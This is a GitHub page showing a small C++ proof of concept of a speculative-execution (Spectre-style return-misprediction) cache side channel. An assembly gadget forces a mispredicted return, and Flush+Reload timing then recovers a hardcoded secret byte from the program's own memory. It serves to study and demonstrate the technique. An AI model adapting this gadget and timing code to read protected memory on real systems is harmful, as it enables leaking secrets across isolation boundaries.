-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsingle-process.cpp
53 lines (43 loc) · 903 Bytes
/
single-process.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include "util.hpp"
using namespace std;
char array[256*256];
char temp;
char secret = 112;
void gadget(){
__asm__(
"pop %rdi;"
"pop %rdi;"
"pop %rbp;"
"clflush (%rsp);"
"cpuid;"
"retq;");
}
void speculative(){
gadget();
temp &= array[secret * 256];
}
inline void time(int i) {
unsigned int dummy;
auto t1 = __rdtscp(&dummy);
auto junk = array[i*256];
auto t2 = __rdtscp(&dummy);
cout << "Accessed value: " << i << " time: " << t2-t1 << endl;
}
int main(){
// Flush array from caches
for (int i = 0; i < 256; i++){
clflush(&array[i*256]);
}
// Run code which speculatively loads data into cache
speculative();
cout << "Secret value is " << (int)secret << ". That value should have a lower access time." << endl;
// Choose measured values randomly to prevent CPU prefetching.
time(5);
time(63);
time(102);
time(112);
time(145);
time(204);
time(243);
return 0;
}